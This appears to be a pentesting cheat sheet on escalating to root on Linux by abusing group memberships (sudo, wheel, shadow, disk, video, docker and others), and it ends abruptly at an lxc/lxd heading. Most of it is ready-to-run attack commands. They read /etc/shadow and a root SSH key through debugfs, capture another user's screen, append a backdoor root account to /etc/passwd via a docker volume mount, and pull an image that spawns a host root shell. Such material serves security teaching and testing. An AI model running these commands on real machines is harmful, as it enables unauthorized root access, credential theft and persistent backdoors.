Interesting Groups - Linux PE

Sudo/Admin Groups

PE - Method 1

Sometimes, by default (or because some software needs it) inside the /etc/sudoers file you can find some of these lines:

# Allow members of group sudo to execute any command
%sudo    ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin     ALL=(ALL:ALL) ALL

This means that any user that belongs to the group sudo or admin can execute anything as sudo.

If this is the case, to become root you can just execute:

sudo su

PE - Method 2

Find all suid binaries and check if there is the binary Pkexec:

find / -perm -4000 2>/dev/null

If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. This is because typically those are the groups inside the polkit policy. This policy basically identifies which groups can use pkexec. Check it with:

cat /etc/polkit-1/localauthority.conf.d/*

There you will find which groups are allowed to execute pkexec and by default in some linux disctros the groups sudo and admin appear.

To become root you can execute:

pkexec "/bin/sh" #You will be prompted for your user password

If you try to execute pkexec and you get this error:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

It's not because you don't have permissions but because you aren't connected without a GUI. And there is a work around for this issue here: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. You need 2 different ssh sessions:

session1

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

session2

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

Sometimes, by default inside the /etc/sudoers file you can find this line:

%wheel    ALL=(ALL:ALL) ALL

This means that any user that belongs to the group wheel can execute anything as sudo.

If this is the case, to become root you can just execute:

sudo su

Shadow Group

Users from the group shadow can read the /etc/shadow file:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

Disk Group

This privilege is almost equivalent to root access as you can access all the data inside of the machine.

Files:/dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Note that using debugfs you can also write files. For example to copy /tmp/asd1.txt to /tmp/asd2.txt you can do:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

However, if you try to write files owned by root (like /etc/shadow or /etc/passwd) you will have a "Permission denied" error.

Video Group

Using the command w you can find who is logged on the system and it will show an output like the following one:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

The tty1 means that the user yossi is logged physically to a terminal on the machine.

The video group has access to view the screen output. Basically you can observe the the screens. In order to do that you need to grab the current image on the screen in raw data and get the resolution that the screen is using. The screen data can be saved in /dev/fb0 and you could find the resolution of this screen on /sys/class/graphics/fb0/virtual_size

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

To open the raw image you can use GIMP, select the screen.raw file and select as file type Raw image data:

Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):

Root Group

It looks like by default members of root group could have access to modify some service configuration files or some libraries files or other interesting things that could be used to escalate privileges...

Check which files root members can modify:

find / -group root -perm -g=w 2>/dev/null

Docker Group

You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a chroot into that volume. This effectively gives you root on the machine.

You can start reading this post about how to escalate privileges abusing the docker socket where you have write permissions.

GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalationGitHub

Privilege escalation via Dockerchrisfosterelli

Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password.

$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Almost similar but you will also see all processes running on the host and be connected to the same NICs.

docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash

Or use the following docker image from chrisfosterelli to spawn a root shell

$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)

lxc/lxd Group

Interesting Groups - Linux PE